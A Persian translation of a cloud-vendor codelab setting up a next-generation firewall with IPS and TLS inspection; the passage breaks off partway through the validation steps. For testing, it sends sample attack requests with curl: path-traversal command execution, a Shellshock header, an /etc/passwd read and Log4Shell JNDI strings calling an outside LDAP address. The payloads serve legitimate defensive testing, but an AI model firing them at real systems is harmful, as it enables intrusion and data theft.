Cloud NGFW Enterprise Codelab [با بازرسی TLS]

۱. مقدمه

فایروال نسل بعدی ابری (NGFW)

فایروال نسل بعدی ابری، یک سرویس فایروال کاملاً توزیع‌شده با قابلیت‌های حفاظتی پیشرفته، تقسیم‌بندی خرد و پوشش فراگیر است که بارهای کاری گوگل کلود شما را از حملات داخلی و خارجی محافظت می‌کند.

فایروال نسل بعدی ابری (Cloud NGFW) مزایای زیر را دارد:

  • سرویس فایروال توزیع‌شده: فایروال نسل بعدی ابری (Cloud NGFW) یک الزام مبتنی بر میزبان کاملاً توزیع‌شده و دارای وضعیت (stateful) را در هر بار کاری فراهم می‌کند تا معماری امنیتی بدون اعتماد (zero-trust) را فعال کند.
  • پیکربندی و استقرار ساده: Cloud NGFW سیاست‌های فایروال شبکه و سلسله مراتبی را پیاده‌سازی می‌کند که می‌توانند به یک گره سلسله مراتب منابع متصل شوند. این سیاست‌ها یک تجربه فایروال سازگار در سراسر سلسله مراتب منابع Google Cloud ارائه می‌دهند.
  • کنترل جزئی و ریزبخش‌بندی: ترکیب سیاست‌های فایروال و تگ‌های تحت مدیریت مدیریت هویت و دسترسی (IAM)، کنترل دقیقی را برای ترافیک شمال-جنوب و شرق-غرب، تا یک ماشین مجازی واحد، در سراسر شبکه‌ها و سازمان‌های ابر خصوصی مجازی (VPC) فراهم می‌کند.

فایروال نسل بعدی ابری (Cloud NGFW) در سطوح زیر موجود است:

  • ملزومات فایروال نسل بعدی ابری
  • استاندارد فایروال نسل بعدی ابر
  • فایروال نسل بعدی ابری سازمانی

فایروال نسل بعدی ابری (Cloud NGFW Enterprise)

Cloud NGFW Enterprise سرویس پیشگیری از نفوذ (IPS)، یک قابلیت لایه ۷، را به ساختار توزیع‌شده‌ی Google Cloud Firewall اضافه می‌کند. از بازرسی TLS پشتیبانی می‌شود تا امکان بازرسی ترافیک رمزگذاری‌شده‌ی TLS فراهم شود.

اکنون می‌توانید بازرسی‌های قابل اعتماد لایه ۷ فایروال نسل بعدی (NGFW) را با کنترل‌های جزئی و بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندی‌های مسیریابی خود، پیاده‌سازی کنید.

برای فعال‌سازی و استقرار کنترل فایروال لایه ۷ با IPS، باید کارهای زیر را انجام دهید:

  • مجموعه‌ای از نقاط پایانی فایروال منطقه‌ای مدیریت‌شده توسط گوگل کلود ایجاد کنید.
  • به صورت اختیاری یک سیاست بازرسی TLS ایجاد کنید.
  • در صورت تمایل، یک Trust Config ایجاد کنید.
  • این نقاط پایانی را با شبکه‌های ابر خصوصی مجازی (VPC) که در آن‌ها به سرویس Cloud NGFW Enterprise نیاز دارید، مرتبط کنید.
  • تغییرات ساده‌ای در سیاست‌های فایروال و قوانین فایروال موجود خود ایجاد کنید تا پروفایل‌های پیشگیری از تهدید را برای مسیرهای مختلف ترافیک مشخص کنید.

سیاست‌های فایروال شبکه

سیاست فایروال شبکه به عنوان ظرفی برای قوانین فایروال عمل می‌کند. قوانین تعریف شده در یک سیاست فایروال شبکه تا زمانی که این سیاست با یک شبکه VPC مرتبط نشود، در هیچ کجا اجرا نمی‌شوند. هر شبکه VPC می‌تواند یک سیاست فایروال شبکه مرتبط با خود داشته باشد. سیاست‌های فایروال شبکه از برچسب‌های (یا فقط برچسب‌ها) تحت مدیریت IAM در قوانین فایروال پشتیبانی می‌کنند که جایگزین برچسب‌های شبکه فعلی می‌شوند و می‌توانند برای ارائه هویت به بار کاری مورد استفاده قرار گیرند.

اشتراک‌گذاری سیاست فایروال شبکه در سراسر شبکه‌ها و ادغام با تگ‌های تحت مدیریت IAM، پیکربندی و مدیریت فایروال‌ها را تا حد زیادی ساده می‌کند.

با معرفی سیاست فایروال شبکه، سیاست‌های فایروال گوگل کلود اکنون از اجزای زیر تشکیل شده است:

  1. سیاست سلسله مراتبی فایروال
  2. قوانین فایروال VPC
  3. سیاست فایروال شبکه ( جهانی و منطقه‌ای )

سیاست‌های سلسله مراتبی فایروال در گره‌های سازمان و پوشه در سلسله مراتب منابع پشتیبانی می‌شوند، در حالی که قوانین فایروال VPC و سیاست‌های فایروال شبکه در سطح VPC اعمال می‌شوند. تفاوت بزرگ بین قوانین فایروال VPC و سیاست‌های فایروال شبکه این است که قوانین فایروال VPC فقط می‌توانند به یک شبکه VPC واحد اعمال شوند، در حالی که سیاست‌های فایروال شبکه می‌توانند به یک VPC واحد یا گروهی از VPCها متصل شوند، از جمله مزایای دیگر مانند به‌روزرسانی‌های دسته‌ای.

در نهایت، ما همچنین قوانین ضمنی فایروال را داریم که با هر شبکه VPC همراه است:

  • یک قانون خروج که اقدام آن allow و مقصد آن 0.0.0.0/0 است.
  • یک قانون ورود که عمل آن deny و منبع آن 0.0.0.0/0 است.

به طور پیش فرض، توالی اجرای در نمودار زیر نشان داده شده است:

21b3bcabc469ffe.png

لطفاً توجه داشته باشید که دستور اجرایی بین قوانین فایروال VPC و سیاست فایروال شبکه جهانی قابل جابجایی است. مشتریان می‌توانند دستور اجرایی را در هر زمان با یک دستور gcloud مشخص کنند.

برچسب‌ها

تگ‌های جدیدی که در قوانین سیاست فایروال شبکه ادغام شده‌اند، منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسله مراتب منابع Google Cloud تعریف می‌شوند. چنین تگی شامل کنترل‌های دسترسی IAM است که مشخص می‌کند چه کسی می‌تواند چه کاری را روی تگ انجام دهد. به عنوان مثال، مجوزهای مدیریت هویت و دسترسی (IAM) به فرد اجازه می‌دهد مشخص کند کدام مدیران می‌توانند مقادیر را به تگ‌ها اختصاص دهند و کدام مدیران می‌توانند تگ‌ها را به منابع متصل کنند. اگر یک قانون فایروال شبکه به یک تگ اشاره کند، برای اجرا باید به یک منبع اعمال شود.

تگ‌ها از مدل ارث‌بری منابع گوگل کلود پیروی می‌کنند، به این معنی که تگ‌ها و مقادیر آنها از والدینشان در سلسله مراتب به ارث می‌رسند. در نتیجه، تگ‌ها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشه‌ها و پروژه‌های دیگر در سراسر سلسله مراتب منابع استفاده شوند. برای جزئیات بیشتر در مورد تگ‌ها و محدودیت دسترسی، به این صفحه مراجعه کنید.

برچسب‌ها را نباید با برچسب‌های شبکه اشتباه گرفت. دومی رشته‌هایی هستند که می‌توانند به نمونه‌های Compute Engine اضافه شوند؛ آن‌ها با نمونه مرتبط هستند و با از رده خارج شدن نمونه، ناپدید می‌شوند. قوانین فایروال VPC ممکن است شامل برچسب‌های شبکه باشند، اما از آنجایی که آن‌ها به عنوان منابع ابری در نظر گرفته نمی‌شوند، مشمول کنترل دسترسی IAM نمی‌شوند.

توجه داشته باشید که برچسب‌ها و برچسب‌های تحت مدیریت IAM در این سند به جای یکدیگر استفاده می‌شوند.

آنچه خواهید ساخت

این آزمایشگاه کد به یک پروژه واحد و توانایی ایجاد یک شبکه VPC و همچنین مدیریت تعدادی از منابع شبکه و امنیت نیاز دارد. این نشان می‌دهد که چگونه Cloud NGFW Enterprise می‌تواند عملکرد IPS را از طریق موارد زیر ارائه دهد:

  • بررسی جریان‌های اینترنتی به سمت شمال با بازرسی TLS
  • بازرسی جریان‌های درون vpc [شرق-غرب] با بازرسی TLS

جریان‌هایی که باید بررسی شوند با استفاده از پارامترهای تطبیق فایروال ابری شامل ۵ تایی (IP منبع، IP مقصد، پروتکل، پورت منبع، پورت مقصد) و برچسب‌ها انتخاب می‌شوند.

3d0f288d3b92a295.png

وضعیت نهایی پایگاه قوانین سیاست فایروال شبکه مشابه جدول زیر خواهد بود:

اولویت

جهت

هدف

منبع

مقصد

اکشن

نوع

۱۰۰

ورود

برچسب_سرور

بررسی‌های سلامت

هر

اجازه دادن

ملزومات

۲۰۰

ورود

برچسب_مشتری، برچسب_سرور

آی‌پی

هر

اجازه دادن

ملزومات

۸۰۰

ورود

برچسب_سرور

۱۰.۰.۰.۰/۲۴

۱۰.۰.۰.۰/۲۴

بازرسی L7

تصدی

۸۵۰

خروج

برچسب_مشتری

هر

۱۰.۰.۰.۰/۲۴

اجازه دادن

ملزومات

۹۰۰

خروج

برچسب_مشتری

هر

هر

بازرسی L7

تصدی

آنچه یاد خواهید گرفت

  • نحوه ایجاد سیاست فایروال شبکه.
  • نحوه ایجاد و استفاده از برچسب‌ها با سیاست فایروال شبکه.
  • نحوه پیکربندی و استفاده از Cloud NGFW Enterprise با بازرسی TLS.

آنچه نیاز دارید

  • پروژه گوگل کلود
  • آشنایی با پیاده‌سازی نمونه‌ها و پیکربندی اجزای شبکه
  • دانش پیکربندی فایروال VPC

۲. قبل از شروع

ایجاد/به‌روزرسانی متغیرها

این آزمایشگاه کد از $variables برای کمک به پیاده‌سازی پیکربندی gcloud در Cloud Shell استفاده می‌کند.

در Cloud Shell، دستورات زیر را اجرا کنید و اطلاعات داخل پرانتز را در صورت نیاز جایگزین کنید:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

۳. فعال کردن APIها

اگر APIها را فعال نکرده‌اید، آن‌ها را فعال کنید:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

۴. ایجاد نقطه پایانی سازمانی در Cloud NGFW

از آنجایی که ایجاد Cloud NGFW Enterprise Endpoint حدود 20 دقیقه طول می‌کشد، ابتدا ایجاد می‌شود و راه‌اندازی پایه می‌تواند به صورت موازی در حین ایجاد Endpoint انجام شود.

ایجاد پروفایل امنیتی و گروه پروفایل امنیتی:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

خروجی مورد انتظار:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

تأیید کنید که منابع با موفقیت ایجاد شده‌اند:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

خروجی مورد انتظار (توجه داشته باشید که قالب خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

دستور زیر را اجرا کنید تا تأیید شود که نقطه پایانی در حال ایجاد شدن است ( CREATING ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

خروجی مورد انتظار:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

فرآیند ایجاد حدود ۲۰ دقیقه طول می‌کشد. برای ایجاد منابع مورد نیاز به صورت موازی، به بخش تنظیمات پایه بروید.

۵. چیدمان پایه

شبکه و زیرشبکه VPC

شبکه و زیرشبکه VPC

شبکه و زیرشبکه VPC را ایجاد کنید:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

NAT ابری

روتر ابری و دروازه Cloud NAT را ایجاد کنید:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

موارد

نمونه‌های کلاینت و وب-سرور را ایجاد کنید:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

برچسب‌های سطح پروژه

در صورت نیاز، مجوز tagAdmin را به کاربر اختصاص دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

کلید و مقادیر Tag در سطح پروژه را ایجاد کنید:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

تگ‌ها را به نمونه‌ها متصل کنید:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

سیاست جهانی فایروال شبکه

ایجاد یک سیاست فایروال شبکه جهانی:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

ایجاد فایروال ابری مورد نیاز، قوانین ضروری برای اجازه دادن به ترافیک از محدوده‌های پروکسی بررسی سلامت و آگاه از هویت :

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

قوانین فایروال ابری مورد نیاز را ایجاد کنید تا اجازه ورود ترافیک شرق به غرب / درون زیرشبکه از محدوده‌های خاص را بدهد (این قوانین برای فعال کردن Cloud NGFW Enterprise با بازرسی TLS به‌روزرسانی خواهند شد):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

سیاست فایروال ابری را به شبکه VPC مرتبط کنید:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

۶. انجمن نقطه پایانی فایروال ابری

در صورتی که هنوز متغیرهای محیطی را تعریف نکرده‌اید و/یا رویکرد اسکریپت را ترجیح می‌دهید، آن‌ها را تعریف کنید.

تأیید کنید که ایجاد Cloud Firewall Endpoint با موفقیت انجام شده است. فقط زمانی ادامه دهید که وضعیت به صورت ACTIVE نشان داده شود (در طول ایجاد، وضعیت مورد انتظار CREATING است):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

خروجی مورد انتظار:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

نقطه پایانی فایروال ابری را به شبکه VPC مرتبط کنید:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

فرآیند اتصال حدود ۱۰ دقیقه طول می‌کشد. فقط زمانی به بخش TLS بروید که وضعیت به صورت ACTIVE (فعال) نمایش داده شود (در طول ایجاد، وضعیت مورد انتظار CREATING ( در حال ایجاد) باشد):

gcloud network-security firewall-endpoint-associations list

خروجی مورد انتظار پس از تکمیل:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

خروجی مورد انتظار:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

۷. پیکربندی منابع TLS

یک مخزن CA ایجاد کنید. این منبع برای نگهداری گواهی Root CA که برای NGFW Enterprise تولید می‌کنیم، استفاده خواهد شد.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

ایجاد گواهی‌نامه‌ی ریشه (Root CA). این گواهی‌نامه‌ی CA است که برای امضای گواهی‌نامه‌های اضافی برای درخواست‌ها از طریق NGFW Enterprise استفاده خواهد شد.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

اگر با پیام زیر مواجه شدید، به y پاسخ دهید:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

یک حساب کاربری سرویس ایجاد کنید. این حساب کاربری برای درخواست گواهینامه برای NGFW Enterprise استفاده خواهد شد:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

مجوزهای IAM را برای حساب سرویس تنظیم کنید:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

فایل YAML مربوط به TLS Policy را ایجاد کنید. این فایل حاوی اطلاعاتی در مورد منابع خاص خواهد بود:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

سیاست بازرسی TLS را وارد کنید:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

برای فعال کردن TLS، ارتباط نقطه پایانی را به‌روزرسانی کنید:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

گواهی CA را دریافت کنید و آن را به مخزن CA کلاینت اضافه کنید:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

انتقال گواهی CA به کلاینت:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

از طریق SSH به ماشین مجازی متصل شوید، گواهی CA را به /usr/local/share/ca-certificates منتقل کنید و حافظه CA را به‌روزرسانی کنید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

به سمت ابر صدفی برگردید.

فرآیند امضای گواهی سرور:

در cloudshell، کتابخانه رمزنگاری Pyca را با استفاده از دستور pip نصب کنید:

pip install --user "cryptography>=2.2.0"

برای اینکه به Google Cloud SDK اجازه دهید از کتابخانه رمزنگاری Pyca استفاده کند، باید بسته‌های سایت را فعال کنید.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

ایجاد گواهی سرور:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

این دستور یک فایل cert.pem و key.pem در cloudshell ایجاد می‌کند. در مرحله بعد، cert و key را به سرور منتقل کنید.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

برای به‌روزرسانی جزئیات گواهی‌نامه آپاچی، به سرور SSH وصل شوید:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

انتقال گواهی و کلید به پوشه خاص:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

پیکربندی ssl را برای استفاده از گواهی امضا شده به‌روزرسانی کنید:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

آپاچی را مجدداً راه اندازی کنید:

sudo systemctl restart apache2

وضعیت آپاچی را بررسی کنید:

sudo systemctl status apache2

باید فعال (در حال اجرا) باشد.

از ماشین مجازی خارج شوید و روی cloudshell ادامه دهید.

۸. اعتبارسنجی اتصال به شمال و شرق/غرب

دستورات زیر را در Cloud Shell اجرا کنید و IP های هدف مورد استفاده را یادداشت کنید:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

یک تب جدید باز کنید و از طریق IAP یک اتصال SSH به ماشین مجازی کلاینت برقرار کنید (باید متغیرها را در تب جدید تعریف کنید):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

دستورات زیر را اجرا کنید و IP های هدف مورد استفاده را یادداشت کنید. متغیرهایی را ایجاد کنید که مقادیر داخل پرانتز را با IP های ذکر شده از مرحله قبل جایگزین کنند و مطمئن شوید که آنها قابل دسترسی هستند:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

IP خصوصی را Curl کنید و مطمئن شوید که قابل دسترسی است:

curl https://$target_privateip --max-time 2

نتایج مورد انتظار برای درخواست curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

ارسال حملات نمونه به IP مورد نظر. وب سرور باید به تمام درخواست‌ها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری سطح ۷ در محل وجود ندارد:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

نمونه نتایج مورد انتظار (IP خصوصی):

400
404
400
200
200

به طور مشابه، درخواست‌ها را به یک مقصد اینترنتی ارسال کنید:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

نمونه نتایج مورد انتظار (مقصد اینترنتی):

400
404
400
403
403

از ترمینال ماشین مجازی خارج شوید و به cloud shell برگردید.

۹. ایجاد و به‌روزرسانی قوانین فایروال برای بازرسی TLS

پیش از این، ما یک قانون فایروال را پیکربندی کردیم تا اجازه ورود ترافیک به سرور ما از زیرشبکه داخلی را بدهد. اکنون قوانین ورود موجود را به‌روزرسانی می‌کنیم و اقدام را روی apply_security_profile_group تنظیم می‌کنیم. این کار بازرسی E/W L7 را با TLS فعال می‌کند:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

یک قانون جدید برای بازرسی مسیر شمال L7 با TLS ایجاد کنید.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

یک قانون جدید ایجاد کنید تا به EGRESS برای E/W اجازه دهد از بازرسی مضاعف جلوگیری کند.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

۱۰. اعتبارسنجی بازرسی TLS در مسیر شمال

به برگه ماشین مجازی کلاینت برگردید یا دوباره متصل شوید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ارسال حملات نمونه به یک مقصد اینترنتی:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

هیچ پاسخی مطابق با خروجی مورد انتظار زیر دریافت نمی‌شود، که تأیید می‌کند حملات نمونه اکنون مسدود شده‌اند:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

متغیر را از قبل روی IP سرور تنظیم کنید:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

ارسال درخواست‌های TLS نمونه به سرور:

